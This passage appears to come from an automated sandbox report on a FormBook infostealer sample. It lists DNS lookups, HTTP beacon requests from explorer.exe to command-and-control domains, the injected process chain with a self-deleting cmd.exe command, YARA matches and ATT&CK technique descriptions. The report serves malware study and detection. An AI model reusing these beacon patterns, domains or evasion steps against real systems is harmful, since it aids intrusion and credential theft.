Jan 28, 2022 15:17:52.785115004 CET	64296	53	192.168.2.7	8.8.8.8
Jan 28, 2022 15:17:53.681818962 CET	53	64296	8.8.8.8	192.168.2.7
Jan 28, 2022 15:17:54.685043097 CET	53	64296	8.8.8.8	192.168.2.7
Jan 28, 2022 15:17:55.550877094 CET	53	64296	8.8.8.8	192.168.2.7
Jan 28, 2022 15:17:57.801929951 CET	53	64296	8.8.8.8	192.168.2.7
Jan 28, 2022 15:18:17.763120890 CET	60983	53	192.168.2.7	8.8.8.8
Jan 28, 2022 15:18:17.798033953 CET	53	60983	8.8.8.8	192.168.2.7
Jan 28, 2022 15:18:48.755186081 CET	52286	53	192.168.2.7	8.8.8.8
Jan 28, 2022 15:18:48.784271955 CET	53	52286	8.8.8.8	192.168.2.7
Jan 28, 2022 15:19:11.739278078 CET	61457	53	192.168.2.7	8.8.8.8
Jan 28, 2022 15:19:11.762356997 CET	53	61457	8.8.8.8	192.168.2.7
Jan 28, 2022 15:19:34.159179926 CET	60599	53	192.168.2.7	8.8.8.8
Jan 28, 2022 15:19:34.193367958 CET	53	60599	8.8.8.8	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 28, 2022 15:17:54.685246944 CET	192.168.2.7	8.8.8.8	cff9	(Port unreachable)	Destination Unreachable
Jan 28, 2022 15:17:55.551640034 CET	192.168.2.7	8.8.8.8	cff9	(Port unreachable)	Destination Unreachable
Jan 28, 2022 15:17:57.802015066 CET	192.168.2.7	8.8.8.8	cff9	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 28, 2022 15:17:48.665153027 CET	192.168.2.7	8.8.8.8	0xa4f9	Standard query (0)	www.vzn2aai2qj.icu	A (IP address)	IN (0x0001)
Jan 28, 2022 15:17:49.667907953 CET	192.168.2.7	8.8.8.8	0xa4f9	Standard query (0)	www.vzn2aai2qj.icu	A (IP address)	IN (0x0001)
Jan 28, 2022 15:17:50.688549042 CET	192.168.2.7	8.8.8.8	0xa4f9	Standard query (0)	www.vzn2aai2qj.icu	A (IP address)	IN (0x0001)
Jan 28, 2022 15:17:52.785115004 CET	192.168.2.7	8.8.8.8	0xa4f9	Standard query (0)	www.vzn2aai2qj.icu	A (IP address)	IN (0x0001)
Jan 28, 2022 15:18:17.763120890 CET	192.168.2.7	8.8.8.8	0xd8e4	Standard query (0)	www.deutscheno1.com	A (IP address)	IN (0x0001)
Jan 28, 2022 15:18:48.755186081 CET	192.168.2.7	8.8.8.8	0x66b7	Standard query (0)	www.shitcoin.team	A (IP address)	IN (0x0001)
Jan 28, 2022 15:19:11.739278078 CET	192.168.2.7	8.8.8.8	0xfa76	Standard query (0)	www.marymarinho.com	A (IP address)	IN (0x0001)
Jan 28, 2022 15:19:34.159179926 CET	192.168.2.7	8.8.8.8	0xfdb5	Standard query (0)	www.bettingweb365.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 28, 2022 15:17:53.681818962 CET	8.8.8.8	192.168.2.7	0xa4f9	Server failure (2)	www.vzn2aai2qj.icu	none	none	A (IP address)	IN (0x0001)
Jan 28, 2022 15:17:54.685043097 CET	8.8.8.8	192.168.2.7	0xa4f9	Server failure (2)	www.vzn2aai2qj.icu	none	none	A (IP address)	IN (0x0001)
Jan 28, 2022 15:17:55.550877094 CET	8.8.8.8	192.168.2.7	0xa4f9	Server failure (2)	www.vzn2aai2qj.icu	none	none	A (IP address)	IN (0x0001)
Jan 28, 2022 15:17:57.801929951 CET	8.8.8.8	192.168.2.7	0xa4f9	Server failure (2)	www.vzn2aai2qj.icu	none	none	A (IP address)	IN (0x0001)
Jan 28, 2022 15:18:17.798033953 CET	8.8.8.8	192.168.2.7	0xd8e4	No error (0)	www.deutscheno1.com		34.149.59.90	A (IP address)	IN (0x0001)
Jan 28, 2022 15:18:48.784271955 CET	8.8.8.8	192.168.2.7	0x66b7	No error (0)	www.shitcoin.team	shitcoin.team		CNAME (Canonical name)	IN (0x0001)
Jan 28, 2022 15:18:48.784271955 CET	8.8.8.8	192.168.2.7	0x66b7	No error (0)	shitcoin.team		107.180.34.104	A (IP address)	IN (0x0001)
Jan 28, 2022 15:19:11.762356997 CET	8.8.8.8	192.168.2.7	0xfa76	No error (0)	www.marymarinho.com	marymarinho.com		CNAME (Canonical name)	IN (0x0001)
Jan 28, 2022 15:19:11.762356997 CET	8.8.8.8	192.168.2.7	0xfa76	No error (0)	marymarinho.com		192.0.78.24	A (IP address)	IN (0x0001)
Jan 28, 2022 15:19:11.762356997 CET	8.8.8.8	192.168.2.7	0xfa76	No error (0)	marymarinho.com		192.0.78.25	A (IP address)	IN (0x0001)
Jan 28, 2022 15:19:34.193367958 CET	8.8.8.8	192.168.2.7	0xfdb5	No error (0)	www.bettingweb365.com	bettingweb365.com		CNAME (Canonical name)	IN (0x0001)
Jan 28, 2022 15:19:34.193367958 CET	8.8.8.8	192.168.2.7	0xfdb5	No error (0)	bettingweb365.com		92.222.235.170	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.shitcoin.team

www.marymarinho.com

www.bettingweb365.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49880	107.180.34.104	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 28, 2022 15:18:48.952475071 CET	23848	OUT	GET /u1p5/?y4Mp=vL5j7Eq3si3+pqkwq9GVQc9zWaxA/P/bTusMaerk9f3EW+lc0CCc1NhXRSl0Kt4KYFMx8zSAYw==&D0GHx=5jNT HTTP/1.1 Host: www.shitcoin.team Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 28, 2022 15:18:49.070127010 CET	23850	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin Date: Fri, 28 Jan 2022 14:18:48 GMT Connection: close Content-Length: 1118 Data Raw: 3c 48 54 4d 4c 3e 0d 0a 3c 48 45 41 44 3e 0d 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 42 41 53 45 20 68 72 65 66 3d 22 2f 65 72 72 6f 72 5f 64 6f 63 73 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 42 41 53 45 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 0d 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 64 6f 63 75 6d 65 6e 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 3c 50 3e 0d 0a 3c 48 52 3e 0d 0a 3c 41 44 44 52 45 53 53 3e 0d 0a 57 65 62 20 53 65 72 76 65 72 20 61 74 20 26 23 31 31 35 3b 26 23 31 30 34 3b 26 23 31 30 35 3b 26 23 31 31 36 3b 26 23 39 39 3b 26 23 31 31 31 3b 26 23 31 30 35 3b 26 23 31 31 30 3b 26 23 34 36 3b 26 23 31 31 36 3b 26 23 31 30 31 3b 26 23 39 37 3b 26 23 31 30 39 3b 0d 0a 3c 2f 41 44 44 52 45 53 53 3e 0d 0a 3c 2f 42 4f 44 59 3e 0d 0a 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 3c 21 2d 2d 0d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0d 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0d 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0d 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0d 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0d 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0d 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0d 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0d 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0d 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0d 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0d 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0d 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0d 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 6e 67 0d 0a 20 20 20 2d 20 72 69 67 68 74 20 6e 6f 77 2e 0d 0a 20 20 20 2d 2d 3e 0d 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE><BASE href="/error_docs/">...[if lte IE 6]></BASE><![endif]--></HEAD><BODY><H1>Not Found</H1>The requested document was not found on this server.<P><HR><ADDRESS>Web Server at shitcoin.team</ADDRESS></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49885	192.0.78.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 28, 2022 15:19:12.066575050 CET	23882	OUT	GET /u1p5/?y4Mp=jmW97e0DcxHZsiDt+DmiFhziWrO1jPfkTbEIn6OHXnuLtYKLIrDwNEu/EQYt2xDuBHghXZP9DQ==&D0GHx=5jNT HTTP/1.1 Host: www.marymarinho.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 28, 2022 15:19:12.220340014 CET	23883	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 28 Jan 2022 14:19:12 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.marymarinho.com/u1p5/?y4Mp=jmW97e0DcxHZsiDt+DmiFhziWrO1jPfkTbEIn6OHXnuLtYKLIrDwNEu/EQYt2xDuBHghXZP9DQ==&D0GHx=5jNT X-ac: 2.hhn _dfw Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.7	49887	92.222.235.170	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 28, 2022 15:19:35.623141050 CET	23891	OUT	GET /u1p5/?y4Mp=UXBCCV9Hg7LlUlEhFgBZZuvhtrkgDnenbWAOO9JvD+HvWaQ2ttROIxFaz7G4unDmw6qRWL3K2g==&D0GHx=5jNT HTTP/1.1 Host: www.bettingweb365.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 28, 2022 15:19:35.810760975 CET	23891	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 28 Jan 2022 14:19:35 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://bettingweb365.com/u1p5/?y4Mp=UXBCCV9Hg7LlUlEhFgBZZuvhtrkgDnenbWAOO9JvD+HvWaQ2ttROIxFaz7G4unDmw6qRWL3K2g==&D0GHx=5jNT Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Target ID:	1
Start time:	15:15:37
Start date:	28/01/2022
Path:	C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe"
Imagebase:	0xe30000
File size:	1304576 bytes
MD5 hash:	7EABAB04E4A6FDD45238E32ED81E222C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: MSBuild.exePID: 6100, Parent PID: 6364

General

Target ID:	14
Start time:	15:16:13
Start date:	28/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0x4b0000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: explorer.exePID: 3292, Parent PID: 6100

General

Target ID:	15
Start time:	15:16:16
Start date:	28/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: rundll32.exePID: 4480, Parent PID: 3292

General

Target ID:	19
Start time:	15:16:40
Start date:	28/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe
Imagebase:	0x1110000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: cmd.exePID: 6880, Parent PID: 4480

General

Target ID:	20
Start time:	15:16:46
Start date:	28/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exePID: 6872, Parent PID: 6880

General

Target ID:	21
Start time:	15:16:48
Start date:	28/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: explorer.exePID: 4704, Parent PID: 568

General

Target ID:	30
Start time:	15:17:17
Start date:	28/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: explorer.exePID: 4104, Parent PID: 568

General

Target ID:	42
Start time:	15:18:17
Start date:	28/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
